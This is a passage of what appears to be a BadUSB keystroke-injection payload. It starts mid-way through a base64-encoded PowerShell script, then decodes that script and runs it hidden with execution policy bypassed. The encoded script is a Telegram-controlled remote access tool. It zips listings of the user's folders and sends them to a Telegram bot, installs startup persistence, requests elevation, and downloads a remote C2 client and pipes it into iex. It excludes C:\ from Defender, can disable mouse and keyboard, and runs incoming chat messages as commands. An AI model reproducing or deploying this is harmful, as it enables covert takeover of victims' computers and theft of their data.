0VSUFJPRklMRS9Eb2N1bWVudHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG9jdW1lbnRzLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rvd25sb2FkcyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb3dubG9hZHMudHh0DQp0cmVlICRlbnY6QVBQREFUQSAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9BcHBkYXRhLnR4dA0KdHJlZSAkZW52OlBST0dSQU1GSUxFUyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Qcm9ncmFtRmlsZXMudHh0DQokRmlsZVBhdGggPSIkZW52OnRlbXAvVHJlZXNPZktub3dsZWRnZS56aXAiDQpDb21wcmVzcy1BcmNoaXZlIC1QYXRoICRlbnY6VEVNUFxEZXNrdG9wLnR4dCwgJGVudjpURU1QXERvY3VtZW50cy50eHQsICRlbnY6VEVNUFxEb3dubG9hZHMudHh0LCAkZW52OlRFTVBcQXBwZGF0YS50eHQsICRlbnY6VEVNUFxQcm9ncmFtRmlsZXMudHh0IC1EZXN0aW5hdGlvblBhdGggJEZpbGVQYXRoDQpzbGVlcCAxDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIEFkZC1QZXJzaXN0YW5jZXsNCiRuZXdTY3JpcHRQYXRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQpzbGVlcCAxDQppZiAoJG5ld1NjcmlwdFBhdGguTGVuZ3RoIC1sdCAxMDApew0KICAgICJgJHRnID0gYCIkdGdgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUZvcmNlDQogICAgaWB3ciAtVXJpICIkcGFyZW50IiAtT3V0RmlsZSAiJGVudjp0ZW1wL3RlbXAucHMxIg0KICAgIHNsZWVwIDENCiAgICBHZXQtQ29udGVudCAtUGF0aCAiJGVudjp0ZW1wL3RlbXAucHMxIiB8IE91dC1GaWxlICRuZXdTY3JpcHRQYXRoIC1BcHBlbmQNCiAgICB9DQokdG9iYXQgPSBAJw0KU2V0IG9ialNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCm9ialNoZWxsLlJ1biAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXhlYyBCeXBhc3MgLVcgSGlkZGVuIC1GaWxlICIiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFBvd2VyU2hlbGxcY29weS5wczEiIiIsIDAsIFRydWUNCidADQokcHRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcc2VydmljZS52YnMiDQokdG9iYXQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJHB0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiUGVyc2lzdGFuY2UgQWRkZWQuIg0Kcm0gLXBhdGggIiRlbnY6VEVNUFx0ZW1wLnBzMSIgLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFJlbW92ZS1QZXJzaXN0YW5jZXsNCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0Kcm0gLVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KV3JpdGUtT3V0cHV0ICJVbmluc3RhbGxlZC4iDQp9DQoNCkZ1bmN0aW9uIFBhdXNlLVNlc3Npb257DQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHBhdXNlIFBhdXNpbmcgU2Vzc2lvbi4uIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSIiDQp9DQoNCkZ1bmN0aW9uIElzLUFkbWluew0KSWYgKCEoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzUHJpbmNpcGFsXVtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5XTo6R2V0Q3VycmVudCgpKS5Jc0luUm9sZShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NCdWlsdEluUm9sZV0nQWRtaW5pc3RyYXRvcicpKSB7DQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgQ3VycmVudCBTZXNzaW9uIGlzIE5PVCBBZG1pbiAkY2xvc2VkIg0KICAgIFBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQogICAgfQ0KICAgIGVsc2V7DQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEN1cnJlbnQgU2Vzc2lvbiBJUyBBZG1pbiAkdGljayINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIH0NCn0NCg0KRnVuY3Rpb24gQXR0ZW1wdC1FbGV2YXRlew0KJHRvYmF0ID0gQCINClNldCBXc2hTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKQ0KV1NjcmlwdC5TbGVlcCAyMDANCklmIE5vdCBXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoYCJlbGV2YXRlYCIpIFRoZW4NCiAgQ3JlYXRlT2JqZWN0KGAiU2hlbGwuQXBwbGljYXRpb25gIikuU2hlbGxFeGVjdXRlIFdTY3JpcHQuRnVsbE5hbWUgXw0KICAgICwgYCJgImAiYCIgJiBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICYgYCJgImAiIC9lbGV2YXRlYCIsIGAiYCIsIGAicnVuYXNgIiwgMQ0KICBXU2NyaXB0LlF1aXQNCkVuZCBJZg0KV3NoU2hlbGwuUnVuIGAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXAgQnlwYXNzIC1XIEggLUMgYCR0Zz0nJHRnJzsgaXJtIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZWlnZXdvcm0vUG93ZXJzaGVsbC1Ub29scy1hbmQtVG95cy9tYWluL0NvbW1hbmQtYW5kLUNvbnRyb2wvVGVsZWdyYW0tQzItQ2xpZW50LnBzMSB8IGlleGAiLCAwLCBUcnVlDQoiQA0KJHB0aCA9ICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQomICRwdGgNClNsZWVwIDcNCnJtIC1QYXRoICRwdGgNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIFRvZ2dsZS1FcnJvcnN7DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAwKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMQ0KICAgICRjb250ZW50cyA9ICIkdGljayBFcnJvciBNZXNzYWdpbmcgT04gJHRpY2siDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICByZXR1cm4NCiAgICB9DQpJZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAxKXsNCiAgICAkZ2xvYmFsOmVycm9ybXNnID0gMA0KICAgICRjb250ZW50cyA9ICIkY2xvc2VkIEVycm9yIE1lc3NhZ2luZyBPRkYgJGNsb3NlZCINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIHJldHVybg0KICAgIH0NCn0NCg0KRnVuY3Rpb24gTWVzc2FnZShbc3RyaW5nXSRNZXNzYWdlKXsNCiAgICBtc2cuZXhlICogJE1lc3NhZ2UNCiAgICBXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQURNSU4gT05MWSBGVU5DVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KRnVuY3Rpb24gRGlzYWJsZS1BVnsNCiAgICBBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoIEM6XA0KICAgIFdyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIERpc2FibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIERpc2FibGluZyBISUQgSW5wdXRzLi4iDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5EaXNhYmxlKCkNCiAgICAkUE5QS2V5Ym9hcmQgPSBHZXQtV21pT2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCAle1t3bWldJF8uZGVwZW5kZW50fSB8ID97JF8ucG5wY2xhc3MgLWVxICdLZXlib2FyZCd9DQogICAgJFBOUEtleWJvYXJkLkRpc2FibGUoKQ0KfQ0KDQpGdW5jdGlvbiBFbmFibGUtSElEew0KICAgICRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFbmFibGluZyBISUQgSW5wdXRzLi4iDQogICAgUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiAgICAkUE5QTWljZSA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ01vdXNlJ30NCiAgICAkUE5QTWljZS5FbmFibGUoKQ0KICAgICRQTlBLZXlib2FyZCA9IEdldC1XbWlPYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8ICV7W3dtaV0kXy5kZXBlbmRlbnR9IHwgP3skXy5wbnBjbGFzcyAtZXEgJ0tleWJvYXJkJ30NCiAgICAkUE5QS2V5Ym9hcmQuRW5hYmxlKCkNCn0NCg0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gVEVMRUdSQU0gRlVDVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBTaG93QnV0dG9uc3sNCiRtZXNzYWdlaGVhZCA9ICJQcmVzcyBhIEJ1dHRvbiB0byBDb250aW51ZS4uLiINCiRpbmxpbmVLZXlib2FyZEpzb24gPSAneyJpbmxpbmVfa2V5Ym9hcmQiOltbeyJ0ZXh0IjogIkVudGVyIENvbW1hbmRzIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b25fY2xpY2tlZCJ9LHsidGV4dCI6ICJPcHRpb25zIiwiY2FsbGJhY2tfZGF0YSI6ICJidXR0b24yX2NsaWNrZWQifV1dfScNCiRwYXJhbWVycyA9IEB7Y2hhdF9pZCA9ICRjaGF0SWQgO3RleHQgPSAkbWVzc2FnZWhlYWQgO3JlcGx5X21hcmt1cCA9ICRpbmxpbmVLZXlib2FyZEpzb259DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgKCRwYXJhbWVycyB8IENvbnZlcnRUby1Kc29uIC1EZXB0aCAxMCkNCiRraWxsaW50ID0gMA0KJG9mZnNldCA9IDANCndoaWxlICgka2lsbGludCAtZXEgMCkgew0KICAgICR1cGRhdGVzID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9nZXRVcGRhdGVzP29mZnNldD0kb2Zmc2V0IiAtTWV0aG9kIEdldA0KICAgIGZvcmVhY2ggKCR1cGRhdGUgaW4gJHVwZGF0ZXMucmVzdWx0KSB7DQogICAgICAgICRvZmZzZXQgPSAkdXBkYXRlLnVwZGF0ZV9pZCArIDENCiAgICAgICAgU2xlZXAgMQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uMl9jbGlja2VkIikgew0KICAgICAgICAgICAgJGtpbGxpbnQgPSAxDQogICAgICAgICAgICBPcHRpb25zDQogICAgICAgIH0NCiAgICB9DQogICAgU2xlZXAgMQ0KfQ0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRlZCINClBvc3QtTWVzc2FnZQ0KfQ0KDQpGdW5jdGlvbiBQb3N0LUZpbGV7DQogICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkZmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KfQ0KDQpGdW5jdGlvbiBJc0F1dGh7IA0KcGFyYW0oJENoZWNrTWVzc2FnZSkNCiAgICBpZiAoKCRtZXNzYWdlcy5tZXNzYWdlLmRhdGUgLW5lICRMYXN0VW5BdXRoTXNnKSAtYW5kICgkQ2hlY2tNZXNzYWdlLm1lc3NhZ2UudGV4dCAtbGlrZSAkUGFzc1BocmFzZSkgLWFuZCAoJENoZWNrTWVzc2FnZS5tZXNzYWdlLmZyb20uaXNfYm90IC1saWtlICRmYWxzZSkpew0KICAgICAgICAkc2NyaXB0OkFjY2VwdGVkU2Vzc2lvbj0iQXV0aGVudGljYXRlZCINCiAgICAgICAgJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRpbmcuLi4iDQogICAgICAgIFBvc3QtTWVzc2FnZQ0KICAgICAgICBTaG93QnV0dG9ucw0KICAgICAgICByZXR1cm4gJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgIH1FbHNle3JldHVybiAwfQ0KfQ0KDQpGdW5jdGlvbiBDbGVhblN0cmluZ3sNCnBhcmFtKCRTdHJlYW0pDQokRml4ZWRSZXN1bHQ9QCgpDQokU3RyZWFtIHwgT3V0LUZpbGUgLUZpbGVQYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgLUZvcmNlDQokUmVhZEFzQXJyYXk9IEdldC1Db250ZW50IC1QYXRoIChKb2luLVBhdGggJGVudjp0ZW1wIC1DaGlsZFBhdGggInRnYzIudHh0IikgfCB3aGVyZSB7JF8ubGVuZ3RoIC1ndCAwfQ0KICAgIGZvcmVhY2ggKCRsaW5lIGluICRSZWFkQXNBcnJheSl7DQogICAgJEFyck9iaj1OZXctT2JqZWN0IHBzb2JqZWN0DQogICAgJEFyck9iaiB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICJMaW5lIiAtVmFsdWUgKCRsaW5lKS50b3N0cmluZygpDQogICAgJEZpeGVkUmVzdWx0ICs9JEFyck9iag0KICAgIH0NCnJldHVybiAkRml4ZWRSZXN1bHQNCn0NCg0KRnVuY3Rpb24gU2VuZE1TR3sNCnBhcmFtKCRNZXNzYWdldGV4dCwkQ2hhdElEKQ0KJEZpeGVkVGV4dD1DbGVhblN0cmluZyAtU3RyZWFtICRNZXNzYWdldGV4dA0KJE10cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICd0ZXh0JyAtVmFsdWUgJEZpeGVkVGV4dC5saW5lIC1Gb3JjZQ0KJEpzb25EYXRhPSgkTXRzIHwgQ29udmVydFRvLUpzb24pDQppcm0gLU1ldGhvZCBQb3N0IC1VcmkgKCRVUkwgKycvc2VuZE1lc3NhZ2UnKSAtQm9keSAkSnNvbkRhdGEgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIg0KJGNhdGNoZXIgPSAkRml4ZWRUZXh0DQp9DQoNCkZ1bmN0aW9uIFJlY2VpdmVNU0d7DQp0cnl7DQogICAgJGluTWVzc2FnZT1pcm0gLU1ldGhvZCBHZXQgLVVyaSAoJFVSTCArJy9nZXRVcGRhdGVzJykgLUVycm9yQWN0aW9uIFN0b3ANCiAgICByZXR1cm4gJGluTWVzc2FnZS5yZXN1bHRbLTFdDQogICAgfQ0KQ2F0Y2h7cmV0dXJuICJUZWxlZ3JhbSBDMiBGYWlsZWQifQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gU1RBUlQgVEhFIFdBSVQgVE8gQ09OTkVDVCBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpXaGlsZSAoJHRydWUpew0KU2xlZXAgMg0KJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICBpZiAoJExhc3RVbkF1dGhNc2cgLWxpa2UgJG51bGwpeyRMYXN0VW5BdXRoTXNnPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgaWYgKCEoJEFjY2VwdGVkU2Vzc2lvbikpeyRDaGVja0F1dGhlbnRpY2F0aW9uPUlzQXV0aCAtQ2hlY2tNZXNzYWdlICRtZXNzYWdlc30NCiAgICBFbHNlew0KICAgICAgICBpZiAoKCRDaGVja0F1dGhlbnRpY2F0aW9uIC1uZSAwKSAtYW5kICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1ub3RsaWtlICRQYXNzUGhyYXNlKSAtYW5kICgkbWVzc2FnZXMubWVzc2FnZS5kYXRlIC1uZSAkbGFzdGV4ZWNNZXNzYWdlSUQpKXsNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICAkUmVzdWx0PWllYHgoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCkgLUVycm9yQWN0aW9uIFN0b3ANCiAgICAgICAgICAgICAgICAkUmVzdWx0DQogICAgICAgICAgICAgICAgaWYgKCgkcmVzdWx0Lmxlbmd0aCAtZXEgMCkgLW9yICgkbWVzc2FnZXMubWVzc2FnZS50ZXh0IC1jb250YWlucyAiS2V5Q2FwdHVyZSIpIC1vciAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgIkV4ZmlsdHJhdGlvbiIpKXt9DQogICAgICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICBTZW5kTVNHIC1NZXNzYWdldGV4dCAkUmVzdWx0IC1DaGF0SUQgJG1lc3NhZ2VzLm1lc3NhZ2UuY2hhdC5pZA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9Y2F0Y2ggew0KICAgICAgICAgICAgICAgICAgICBpZigkZ2xvYmFsOmVycm9ybXNnIC1lcSAxKXsNCiAgICAgICAgICAgICAgICAgICAgU2VuZE1TRyAtTWVzc2FnZXRleHQgKCRfLmV4Y2VwdGlvbi5tZXNzYWdlKSAtQ2hhdElEICRtZXNzYWdlcy5tZXNzYWdlLmNoYXQuaWQNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIEZpbmFsbHl7JGxhc3RleGVjTWVzc2FnZUlEPSRtZXNzYWdlcy5tZXNzYWdlLmRhdGV9DQogICAgICAgIH0NCiAgICB9DQp9'
|
|
ENTER
|
|
STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append
|
|
ENTER
|
|
STRING Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -w h -File `"$env:temp/a.ps1`"" -f $PSCommandPath);sleep 7;Remove-Item -Path $File -Force;exit
|
|
ENTER
|